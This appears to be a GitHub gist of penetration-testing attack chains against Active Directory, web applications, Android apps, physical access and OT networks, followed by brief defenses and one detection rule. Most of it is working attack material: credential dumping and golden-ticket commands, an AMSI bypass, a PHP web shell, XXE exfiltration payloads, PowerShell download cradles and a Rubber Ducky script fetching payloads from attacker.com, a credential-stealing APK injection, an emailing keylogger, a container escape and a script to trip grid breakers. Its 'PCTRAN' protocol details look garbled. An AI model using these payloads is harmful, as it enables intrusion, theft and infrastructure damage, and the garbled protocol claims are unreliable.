Skip to content

Instantly share code, notes, and snippets.

@aw-junaid
Created January 30, 2026 19:19
Show Gist options
  • Select an option

  • Save aw-junaid/db57913171b70ac795cfa091a75e90ab to your computer and use it in GitHub Desktop.

Select an option

Save aw-junaid/db57913171b70ac795cfa091a75e90ab to your computer and use it in GitHub Desktop.
Comprehensive attack scenarios covering network, web, mobile, physical, and OT security with detailed exploitation chains, tools, methodologies, and defense strategies for advanced penetration testing and red team exercises.

Advanced Penetration Testing Scenarios & Attack Chains

Comprehensive attack scenarios covering network, web, mobile, physical, and OT security with detailed exploitation chains, tools, methodologies, and defense strategies for advanced penetration testing and red team exercises.


Network Attack Scenarios

Scenario #1: Complete Domain Compromise Chain

Attack Chain: LLMNR Poisoning → AS-REP Roasting → ForceChangePassword → GenericWrite → Password Spraying → RunForrestRun → GPO Abuse → MSSQL → Domain Trust Abuse

Step-by-Step Exploitation:

1. LLMNR/NBT-NS Poisoning:

# Using Responder
sudo responder -I eth0 -w -r -d

# Or using Inveigh
Import-Module .\Inveigh.ps1
Invoke-Inveigh -ConsoleOutput Y -NBNS Y -mDNS Y -Proxy Y

# Capture NTLMv2 hashes
# Wait for authentication attempts
# Crack hashes with hashcat
hashcat -m 5600 captured_hash.txt /usr/share/wordlists/rockyou.txt

2. AS-REP Roasting:

# Identify users with Kerberos pre-authentication disabled
python3 GetNPUsers.py domain.local/ -usersfile users.txt -format hashcat -output hashes.asreproast

# Or using Rubeus
.\Rubeus.exe asreproast /format:hashcat /outfile:hashes.txt

# Crack with hashcat
hashcat -m 18200 hashes.asreproast /usr/share/wordlists/rockyou.txt

3. ForceChangePassword Abuse:

# Using PowerView
Import-Module .\PowerView.ps1

# Check for ForceChangePassword rights
Get-DomainObjectAcl -Identity targetuser | ? {$_.ActiveDirectoryRights -match "WriteProperty" -and $_.SecurityIdentifier -match "S-1-5-21-.*-.*-.*-.*"}

# Set new password for user
$newpass = ConvertTo-SecureString "NewPassword123!" -AsPlainText -Force
Set-DomainUserPassword -Identity targetuser -AccountPassword $newpass

# Or using Set-DomainUserPassword from PowerView

4. GenericWrite Exploitation:

# Check for GenericWrite permissions
Get-DomainObjectAcl -Identity targetuser | ? {$_.ActiveDirectoryRights -match "GenericWrite"}

# Abuse with PowerView
# Add user to privileged group
Add-DomainGroupMember -Identity "Domain Admins" -Members targetuser

# Or set SPN for Kerberoasting
Set-DomainObject -Identity targetuser -SET @{serviceprincipalname='none/existing'}
.\Rubeus.exe kerberoast /user:targetuser /outfile:hashes.txt

5. Password Spraying:

# Using CrackMapExec
crackmapexec smb targets.txt -u users.txt -p 'Spring2024!' --continue-on-success

# Using DomainPasswordSpray
Import-Module .\DomainPasswordSpray.ps1
Invoke-DomainPasswordSpray -UserList users.txt -Password 'Password123!' -Domain domain.local

# Using Rubeus
.\Rubeus.exe brute /password:Password123! /noticket

6. RunForrestRun.exe Privilege Escalation:

# Upload RunForrestRun.exe to compromised machine
# Execute to spawn privileged process
.\RunForrestRun.exe powershell.exe

# Or create service
sc create "WindowsUpdate" binPath= "C:\temp\RunForrestRun.exe cmd.exe" start= auto
sc start WindowsUpdate

7. GPO Abuse:

# Using SharpGPOAbuse
.\SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author DOMAIN\user --Command "cmd.exe" --Arguments "/c net user hacker Password123! /add" --GPOName "VulnerableGPO"

# Or using PowerView
New-GPOImmediateTask -TaskName "Update" -Command "cmd.exe" -CommandArguments "/c net localgroup administrators user /add" -GPODisplayName "Default Domain Policy"

8. MSSQL Service Abuse:

# Using PowerUpSQL
Import-Module .\PowerUpSQL.ps1

# Find SQL instances
Get-SQLInstanceDomain

# Check for xp_cmdshell
Invoke-SQLCmd -Query "EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE" -Instance "sqlserver.domain.local"

# Execute commands
Invoke-SQLCmd -Query "EXEC xp_cmdshell 'whoami'" -Instance "sqlserver.domain.local"

# Or escalate via linked servers
Get-SQLServerLinkCrawl -Instance "sqlserver.domain.local" -Query "EXEC master..xp_cmdshell 'whoami'"

9. Domain Trust Abuse:

# Enumerate trusts
Get-DomainTrust
Get-DomainTrustMapping

# Using Mimikatz for trust attacks
mimikatz # lsadump::trust /patch
mimikatz # lsadump::dcsync /domain:child.domain.local /user:krbtgt

# Golden ticket for child domain
mimikatz # kerberos::golden /user:Administrator /domain:child.domain.local /sid:S-1-5-21... /krbtgt:HASH /sids:S-1-5-21...-519 /ptt

Scenario #2: Service-Based Privilege Escalation Chain

Attack Chain: Service Permission → ForceChangePassword → ACL Abuse → SQL Instance Abuse → Service Abuse → Pass-the-Ticket → Golden Ticket

Step-by-Step Exploitation:

1. Service Permission Enumeration:

# Check for vulnerable services
.\accesschk.exe /accepteula -uwcqv "Authenticated Users" *
.\accesschk.exe -ucqv * /accepteula

# Using PowerUp
Import-Module .\PowerUp.ps1
Get-ModifiableService

# Or manually check
Get-WmiObject win32_service | Select Name, PathName, StartName | Where {$_.PathName -like "* *"}

2. Service Binary Replacement:

# Replace service binary
sc config "VulnerableService" binPath= "C:\temp\malicious.exe"

# Or use PowerUp
Write-ServiceBinary -ServiceName "VulnerableService" -UserName "NT AUTHORITY\SYSTEM"

# Restart service
sc stop VulnerableService
sc start VulnerableService

3. ACL Abuse for Privilege Escalation:

# Check for interesting ACLs
Import-Module .\PowerView.ps1

# Find users with GenericAll/WriteDACL
Get-DomainObjectAcl -SearchBase "CN=Computers,DC=domain,DC=local" | ? {$_.ActiveDirectoryRights -match "GenericAll|WriteDacl|WriteOwner"}

# Abuse GenericAll on computer object
Add-DomainObjectAcl -TargetIdentity "COMPUTER$" -PrincipalIdentity user -Rights All

# Then use RBCD
Set-DomainObject -Identity "COMPUTER$" -Set @{'msds-allowedtoactonbehalfofotheridentity'='...'}

4. SQL Instance Lateral Movement:

# Using PowerUpSQL
Get-SQLInstanceDomain -Verbose

# Check for sysadmin access
Get-SQLServerLinkCrawl -Instance "sqlserver.domain.local" -Verbose

# Enable xp_cmdshell and execute
Invoke-SQLCmd -Instance "sqlserver.domain.local" -Query "EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE"

# Execute commands on SQL server
Invoke-SQLCmd -Instance "sqlserver.domain.local" -Query "EXEC xp_cmdshell 'powershell -ep bypass -c IEX(New-Object Net.WebClient).DownloadString(''http://attacker.com/payload.ps1'')'"

5. Pass-the-Ticket Attack:

# Using Mimikatz
mimikatz # sekurlsa::tickets /export

# Or using Rubeus
.\Rubeus.exe dump /nowrap

# Pass the ticket
.\Rubeus.exe ptt /ticket:base64_ticket

# Or using Mimikatz
mimikatz # kerberos::ptt ticket.kirbi

6. Golden Ticket Creation:

# Dump krbtgt hash
mimikatz # lsadump::dcsync /domain:domain.local /user:krbtgt

# Create golden ticket
mimikatz # kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... /krbtgt:HASH /ptt

# Access domain resources
dir \\dc01.domain.local\c$

Scenario #3: Delegation-Based Attack Chain

Attack Chain: Always Elevated → Constrained Delegation → Unconstrained Delegation Print Bug → Cross Trust → MSSQL Service Abuse

Step-by-Step Exploitation:

1. Always Elevated Privileges:

# Check for Always Elevated installations
Get-CimInstance -ClassName Win32_Product | Where Name -like "*Always*"

# Or check registry
Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" -Name "LocalAccountTokenFilterPolicy"

# Abuse via scheduled tasks
schtasks /create /tn "Update" /tr "C:\Windows\System32\cmd.exe /c net user hacker Password123! /add" /sc once /st 00:00 /ru SYSTEM
schtasks /run /tn "Update"

2. Constrained Delegation Abuse:

# Find computers with constrained delegation
Get-DomainComputer -TrustedToAuth | Select-Object samaccountname, msds-allowedtodelegateto

# Using Rubeus
.\Rubeus.exe s4u /user:serviceaccount /rc4:HASH /impersonateuser:administrator /msdsspn:cifs/dc01.domain.local /altservice:http /ptt

# Or get TGS
.\Rubeus.exe s4u /user:serviceaccount /aes256:AES256_HASH /impersonateuser:administrator /msdsspn:cifs/dc01.domain.local /ptt

3. Unconstrained Delegation & Print Bug:

# Find computers with unconstrained delegation
Get-DomainComputer -Unconstrained | Select-Object samaccountname

# Using Rubeus for printer bug
.\Rubeus.exe monitor /interval:5 /filteruser:DC01$

# On another machine, force authentication
.\SpoolSample.exe dc01.domain.local attacker.domain.local

# Extract tickets from memory
mimikatz # sekurlsa::tickets /export

4. Cross Trust Attacks:

# Enumerate trust relationships
Get-DomainTrustMapping

# Check for SID filtering
Get-DomainTrust -Domain external.domain.local | Select-Object SourceName, TargetName, SidFilteringQuarantined

# If SID filtering disabled, use SID History
# Create golden ticket with SID History
mimikatz # kerberos::golden /user:Administrator /domain:child.domain.local /sid:SID /sids:S-1-5-21...-519 /krbtgt:HASH /ptt

5. MSSQL Trusted Link Abuse:

# Crawl linked servers
Get-SQLServerLinkCrawl -Instance "sqlserver.domain.local" -Verbose

# Execute commands through chain
$query = "
SELECT * FROM OPENQUERY(\"LINKEDSERVER\", 
    'SELECT * FROM OPENQUERY(\"ANOTHERLINK\", 
        ''EXEC master..xp_cmdshell \"whoami\"'')'
)"
Invoke-SQLCmd -Instance "sqlserver.domain.local" -Query $query

Scenario #4: AMSI Bypass to Domain Compromise

Attack Chain: Bypass AMSI → Always Elevated → Constrained Delegation → Pass-the-Ticket → SQL Instance Abuse → GPO Abuse → DCSync Attack

Step-by-Step Exploitation:

1. AMSI Bypass:

# Common AMSI bypass techniques
# Method 1: Patch AMSI
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

# Method 2: Memory patch
$win32 = @"
using System;
using System.Runtime.InteropServices;
public class Win32 {
    [DllImport("kernel32")]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
    [DllImport("kernel32")]
    public static extern IntPtr LoadLibrary(string name);
    [DllImport("kernel32")]
    public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
"@

Add-Type $win32
$ptr = [Win32]::GetProcAddress([Win32]::LoadLibrary("amsi.dll"), "AmsiScanBuffer")
[Win32]::VirtualProtect($ptr, [uint32]5, 0x40, [ref]0)
$buf = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 6)

2. Always Elevated Service Abuse:

# Find Always Elevated services
Get-WmiObject -Class Win32_Service | Where-Object {$_.PathName -like "*Always*"} | Select Name, PathName, StartName

# Replace service binary
sc config "AlwaysElevatedService" binPath= "C:\temp\malicious.exe"
sc stop AlwaysElevatedService
sc start AlwaysElevatedService

3. Constrained Delegation Exploitation:

# Using Rubeus
.\Rubeus.exe asktgt /user:serviceaccount /rc4:HASH /domain:domain.local /outfile:service.ticket

# Get service ticket for CIFS
.\Rubeus.exe s4u /ticket:service.ticket /impersonateuser:administrator /msdsspn:cifs/dc01.domain.local /altservice:http /ptt

4. SQL Instance Privilege Escalation:

# Check for sysadmin role
Invoke-SQLCmd -Instance "sqlserver.domain.local" -Query "SELECT IS_SRVROLEMEMBER('sysadmin')"

# If sysadmin, enable xp_cmdshell
Invoke-SQLCmd -Instance "sqlserver.domain.local" -Query "
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE"

# Execute commands
Invoke-SQLCmd -Instance "sqlserver.domain.local" -Query "EXEC xp_cmdshell 'whoami'"

5. GPO-Based Persistence:

# Create malicious scheduled task via GPO
.\SharpGPOAbuse.exe --AddComputerTask --TaskName "WindowsUpdate" --Author "DOMAIN\user" --Command "cmd.exe" --Arguments "/c powershell -ep bypass -c IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')" --GPOName "Default Domain Policy"

# Or using PowerView
New-GPOImmediateTask -TaskName "Update" -Command "powershell.exe" -CommandArguments "-ep bypass -c IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')" -GPODisplayName "Default Domain Policy"

6. DCSync Attack:

# Using Mimikatz
mimikatz # lsadump::dcsync /domain:domain.local /user:krbtgt
mimikatz # lsadump::dcsync /domain:domain.local /user:administrator

# Using secretsdump.py from Impacket
python3 secretsdump.py domain.local/user:password@dc01.domain.local

# Using PowerView
Invoke-DCSync -PWDumpFormat -Users @("administrator", "krbtgt")

Web Application Attack Scenarios

Scenario #1: SQLi to Root Chain

Attack Chain: SQL Injection → RCE → Capabilities Abuse

Step-by-Step Exploitation:

1. SQL Injection Discovery:

# Basic SQLi testing
sqlmap -u "http://target.com/page?id=1" --batch

# Time-based blind SQLi
sqlmap -u "http://target.com/search" --data="query=test" --technique=T --batch

# Union-based SQLi
sqlmap -u "http://target.com/product/1" --union-cols=3 --batch

2. Database Enumeration:

# Get database version
sqlmap -u "http://target.com/page?id=1" --banner

# List databases
sqlmap -u "http://target.com/page?id=1" --dbs

# List tables
sqlmap -u "http://target.com/page?id=1" -D appdb --tables

# Dump sensitive data
sqlmap -u "http://target.com/page?id=1" -D appdb -T users --dump

3. File System Access:

# Read files (MySQL)
sqlmap -u "http://target.com/page?id=1" --file-read="/etc/passwd"

# Write files (MySQL)
sqlmap -u "http://target.com/page?id=1" --file-write="/tmp/shell.php" --file-dest="/var/www/html/shell.php"

# OS command execution
sqlmap -u "http://target.com/page?id=1" --os-shell

4. Web Shell Upload:

<?php
// Simple PHP shell
if(isset($_GET['cmd'])) {
    system($_GET['cmd']);
}
?>

5. Capabilities Abuse for Privilege Escalation:

# Check for SUID binaries
find / -perm -4000 -type f 2>/dev/null

# Check capabilities
getcap -r / 2>/dev/null

# Example: Python with CAP_SETUID
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'

# Example: Perl with capabilities
perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash";'

Scenario #2: XXE to Domain Compromise

Attack Chain: XXE → LFI → RCE → Service Abuse → MSSQL Instance Abuse

Step-by-Step Exploitation:

1. XXE Discovery:

<!-- Basic XXE test -->
<?xml version="1.0"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<data>&xxe;</data>

<!-- Out-of-band XXE -->
<!DOCTYPE test [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
%dtd;
]>
<data>&send;</data>

2. Local File Inclusion via XXE:

<!-- Read sensitive files -->
<?xml version="1.0"?>
<!DOCTYPE data [
<!ENTITY % file SYSTEM "file:///etc/shadow">
<!ENTITY % dtd SYSTEM "http://attacker.com/readfile.dtd">
%dtd;
]>
<data>&exfil;</data>

<!-- evil.dtd on attacker server -->
<!ENTITY % all "<!ENTITY exfil SYSTEM 'http://attacker.com/?data=%file;'>">
%all;

3. RCE via XXE (Expect extension):

<!-- PHP expect wrapper -->
<?xml version="1.0"?>
<!DOCTYPE data [
<!ENTITY cmd SYSTEM "expect://id">
]>
<data>&cmd;</data>

4. Service Discovery & Abuse:

# Network scanning from compromised host
nmap -sS -p 22,80,443,445,3389,1433,3306 10.0.0.0/24

# Check for MSSQL
/opt/impacket/examples/mssqlclient.py domain/user:password@10.0.0.10

# Check for SMB shares
smbclient -L //10.0.0.10/ -U domain/user%password

5. MSSQL Instance Exploitation:

-- Enable xp_cmdshell
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

-- Execute commands
EXEC xp_cmdshell 'whoami';

-- Create backdoor user
EXEC xp_cmdshell 'net user hacker Password123! /add';
EXEC xp_cmdshell 'net localgroup administrators hacker /add';

Mobile Application Attack Scenarios

Scenario #1: APK to Credential Compromise

Attack Chain: Evil APK → SQLite Database Access → Credential Stuffing

Step-by-Step Exploitation:

1. APK Analysis & Reverse Engineering:

# Decompile APK
apktool d app.apk -o decompiled/

# Extract classes.dex
unzip app.apk classes.dex

# Convert dex to jar
d2j-dex2jar.sh classes.dex

# Analyze with JD-GUI or jadx
jadx app.apk

2. SQLite Database Examination:

# Find database files in decompiled APK
find decompiled/ -name "*.db" -o -name "*.sqlite" -o -name "*.db3"

# Extract database from device
adb pull /data/data/com.package.app/databases/app.db

# Query database
sqlite3 app.db
sqlite> .tables
sqlite> SELECT * FROM users;

3. Credential Extraction:

import sqlite3
import hashlib
import requests

# Connect to database
conn = sqlite3.connect('app.db')
cursor = conn.cursor()

# Extract credentials
cursor.execute("SELECT username, password FROM users")
credentials = cursor.fetchall()

# Try credential stuffing
for username, password in credentials:
    # Try on common services
    targets = [
        "https://mail.service.com/login",
        "https://vpn.company.com/auth",
        "https://admin.portal.com/login"
    ]
    
    for target in targets:
        response = requests.post(target, data={
            'username': username,
            'password': password
        })
        
        if response.status_code == 200 and "dashboard" in response.text:
            print(f"[+] Valid credentials: {username}:{password} for {target}")

4. Network Traffic Analysis:

# Intercept mobile app traffic
# Setup mitmproxy
mitmproxy -p 8080

# Configure device to use proxy
# Install mitmproxy certificate

# Analyze API endpoints and authentication

5. Code Injection via Repackaging:

// Add malicious code to decompiled APK
// In MainActivity.java
public void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    
    // Original code...
    
    // Malicious addition - send credentials to attacker
    new Thread(new Runnable() {
        public void run() {
            try {
                String credentials = getCredentials();
                URL url = new URL("http://attacker.com/steal");
                HttpURLConnection conn = (HttpURLConnection) url.openConnection();
                conn.setRequestMethod("POST");
                conn.setDoOutput(true);
                conn.getOutputStream().write(credentials.getBytes());
            } catch (Exception e) {
                e.printStackTrace();
            }
        }
    }).start();
}

Physical Security Attack Scenarios

Scenario #1: USB to Domain Admin

Attack Chain: USB Rubber Ducky → Malware Deployment → GPO Abuse → Pass-the-Hash → Kerberoasting → Golden Ticket

Step-by-Step Exploitation:

1. USB Rubber Ducky Payload:

# Ducky Script for initial access
DELAY 2000
GUI r
DELAY 500
STRING powershell -w h -NoP -NonI -Exec Bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')"
ENTER

2. Initial Malware Deployment:

# PowerShell payload
# Download and execute Cobalt Strike beacon
$url = "http://attacker.com/beacon.exe"
$output = "$env:TEMP\svchost.exe"
Invoke-WebRequest -Uri $url -OutFile $output
Start-Process $output -WindowStyle Hidden

# Or Empire agent
IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/Empire.ps1')

3. GPO Modification for Persistence:

# Check GPO permissions
Get-DomainObjectAcl -SearchBase "CN=Policies,CN=System,DC=domain,DC=local" | Where-Object {$_.SecurityIdentifier -match "S-1-5-21.*"}

# Modify GPO to add startup script
$gpo = Get-DomainGPO -Identity "Default Domain Policy"
$gpo | Set-DomainObject -Set @{gPCFileSysPath="\\domain.local\sysvol\domain.local\Policies\{GUID}\User\Scripts\Logon"}

4. Pass-the-Hash for Lateral Movement:

# Using CrackMapExec
crackmapexec smb 10.0.0.0/24 -u Administrator -H aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0

# Using psexec from Impacket
python3 psexec.py domain/Administrator@10.0.0.10 -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0

5. Kerberoasting:

# Using Rubeus
.\Rubeus.exe kerberoast /outfile:hashes.txt

# Using Impacket
python3 GetUserSPNs.py domain.local/user:password -dc-ip 10.0.0.1 -request

# Crack hashes
hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt

6. Golden Ticket Creation:

# Dump krbtgt hash
mimikatz # lsadump::dcsync /domain:domain.local /user:krbtgt

# Create golden ticket
mimikatz # kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21... /krbtgt:HASH /ptt

# Access domain controller
dir \\dc01.domain.local\c$\

Scenario #2: Shoulder Surfing to Domain Persistence

Attack Chain: Shoulder Surfing → Malware Installation → PrintNightmare → Pass-the-Hash → Silver Ticket

Step-by-Step Exploitation:

1. Credential Harvesting via Shoulder Surfing:

# Simple keylogger (educational purposes only)
import keyboard
import smtplib
from threading import Timer
from datetime import datetime

class Keylogger:
    def __init__(self, interval, email, password):
        self.interval = interval
        self.email = email
        self.password = password
        self.log = ""
        
    def callback(self, event):
        self.log += event.name
        
    def report(self):
        if self.log:
            # Send email with captured data
            server = smtplib.SMTP("smtp.gmail.com", 587)
            server.starttls()
            server.login(self.email, self.password)
            server.sendmail(self.email, self.email, self.log)
            server.quit()
        self.log = ""
        Timer(self.interval, self.report).start()
        
    def start(self):
        keyboard.on_release(callback=self.callback)
        self.report()
        keyboard.wait()

2. PrintNightmare Exploitation:

# Using Impacket's printbug
python3 printerbug.py domain/user:password@target.domain.local attacker@80

# Or using CVE-2021-1675 exploit
.\CVE-2021-1675.ps1
Invoke-Nightmare -DriverName "Xerox" -NewUser "hacker" -NewPassword "Password123!"

3. Silver Ticket Creation:

# Get service account hash
mimikatz # sekurlsa::logonpasswords

# Create silver ticket for specific service
mimikatz # kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21... /target:sqlserver.domain.local /service:MSSQLSvc /rc4:SERVICE_HASH /ptt

# Access SQL service
python3 mssqlclient.py -k -no-pass sqlserver.domain.local

OT (Operational Technology) Attack Scenarios

Scenario #1: Mail Server to OT Control

Attack Chain: Mail Server Compromise → VDI Capabilities Abuse → SMPTRAP Service Abuse → DCSync Attack → Silver Ticket → Credential Stuffing → PCTRAN → Pods Misconfiguration

Step-by-Step Exploitation:

1. Mail Server Initial Access:

# Common mail server attacks
# SMTP user enumeration
python3 smtp-user-enum.py -M VRFY -U users.txt -t mail.server.com

# IMAP/POP3 brute force
hydra -L users.txt -P passwords.txt imap://mail.server.com
hydra -L users.txt -P passwords.txt pop3://mail.server.com

# Exchange vulnerabilities
# ProxyLogon (CVE-2021-26855)
python3 proxylogon.py mail.server.com -t webshell.aspx

2. VDI (Virtual Desktop Infrastructure) Abuse:

# Check for VDI capabilities
Get-WmiObject -Class Win32_ComputerSystem | Select-Object Model

# If Citrix or VMware detected
# Look for published applications
Get-ChildItem "C:\Program Files (x86)\Citrix\*" -Recurse -ErrorAction SilentlyContinue

# Check for saved credentials
cmdkey /list

3. SMPTRAP Service Exploitation:

# SNMP service enumeration
snmpwalk -c public -v1 ot.device.com
snmpwalk -c private -v1 ot.device.com

# Common SNMP communities in OT:
# public, private, read, write, admin, monitor

# Write access exploitation
snmpset -v1 -c private ot.device.com .1.3.6.1.2.1.1.6.0 s "HACKED"

4. DCSync Attack in OT Domain:

# Check for Domain Controller in OT network
nslookup _ldap._tcp.dc._msdcs.ot.domain.local

# Using Mimikatz for DCSync
mimikatz # lsadump::dcsync /domain:ot.domain.local /user:krbtgt
mimikatz # lsadump::dcsync /domain:ot.domain.local /user:administrator

5. Silver Ticket for OT Services:

# Create silver ticket for SCADA/HMI services
mimikatz # kerberos::golden /user:OTAdmin /domain:ot.domain.local /sid:SID /target:scada.ot.domain.local /service:Vendorservice /rc4:SERVICE_HASH /ptt

# Access SCADA system
# Using vendor-specific client with captured credentials

6. Credential Stuffing Across OT Systems:

import requests
import paramiko

# Common OT default credentials
default_creds = [
    ("admin", "admin"),
    ("administrator", "password"),
    ("root", "root"),
    ("guest", "guest"),
    ("operator", "operator"),
    ("tech", "tech"),
    ("service", "service"),
]

# Try across common OT protocols and ports
targets = [
    ("scada.ot.local", 502, "modbus"),
    ("plc.ot.local", 102, "s7"),
    ("hmi.ot.local", 3389, "rdp"),
    ("rtu.ot.local", 22, "ssh"),
]

for target, port, protocol in targets:
    for username, password in default_creds:
        if protocol == "ssh":
            try:
                ssh = paramiko.SSHClient()
                ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
                ssh.connect(target, port=port, username=username, password=password, timeout=5)
                print(f"[+] SSH credentials valid: {username}:{password}@{target}:{port}")
                ssh.close()
            except:
                pass

7. PCTRAN Protocol Exploitation:

# PCTRAN (Power Control Transmission) protocol attacks
# Often used in power grid systems

import socket

def pctran_command(target, command):
    """Send PCTRAN command to target"""
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((target, 2404))  # Common PCTRAN port
    
    # Craft malicious PCTRAN packet
    packet = b"\x02"  # STX
    packet += command.encode()
    packet += b"\x03"  # ETX
    
    sock.send(packet)
    response = sock.recv(1024)
    sock.close()
    return response

# Example: Trip circuit breaker
response = pctran_command("gridcontroller.ot.local", "TRIP CB 12")

8. Kubernetes Pod Misconfiguration in OT:

# Check for exposed Kubernetes API in OT network
nmap -p 6443,8080,8443 10.0.0.0/24

# If found, check for misconfigurations
kubectl get pods --all-namespaces
kubectl get secrets --all-namespaces

# Common OT pod misconfigurations:
# 1. Running as root
# 2. Privileged containers
# 3. Host network access
# 4. Host PID namespace
# 5. Missing resource limits

# Example exploit - escape to host
cat > malicious-pod.yaml << EOF
apiVersion: v1
kind: Pod
metadata:
  name: malicious-pod
spec:
  hostPID: true
  containers:
  - name: malicious
    image: alpine
    command: ["nsenter", "--mount=/proc/1/ns/mnt", "--", "bash"]
    securityContext:
      privileged: true
EOF

kubectl apply -f malicious-pod.yaml

Defense & Mitigation Strategies

Network Defense

# Monitor for LLMNR/NBT-NS poisoning
# Disable LLMNR and NBT-NS
# Use PowerShell logging
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-PowerShell/Operational'; Id=4104} | Select-Object TimeCreated, Message

# Monitor for Kerberoasting
# Set account: "Account is sensitive and cannot be delegated"
# Monitor Event ID 4769 with encryption type 0x17

Web Application Defense

# SQL Injection prevention
# Use parameterized queries
# Implement WAF
# Regular security testing

# XXE prevention
# Disable external entity processing
# Use secure XML parsers
# Input validation

Physical Security Defense

# USB device control
# Implement device whitelisting
# Disable AutoRun
# Use Group Policy to restrict USB devices

# Monitor for unusual GPO changes
# Use Advanced Audit Policy
# Monitor Event ID 5136, 5141

OT Security Defense

# Network segmentation
# Separate OT from IT networks
# Use industrial firewalls
# Monitor for protocol anomalies

# Default credential elimination
# Change all default passwords
# Implement strong authentication
# Regular credential audits

Detection Rules (Sigma/YARA/Snort)

# Sigma rule for Golden Ticket detection
title: Golden Ticket Usage
description: Detects usage of golden tickets
logsource:
    product: windows
    service: security
detection:
    selection:
        EventID: 4624
        LogonType: 3
        TargetUserName: '*$'
        LogonProcessName: 'Kerberos'
        AuthenticationPackageName: 'Kerberos'
        KeyLength: 0
    condition: selection

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment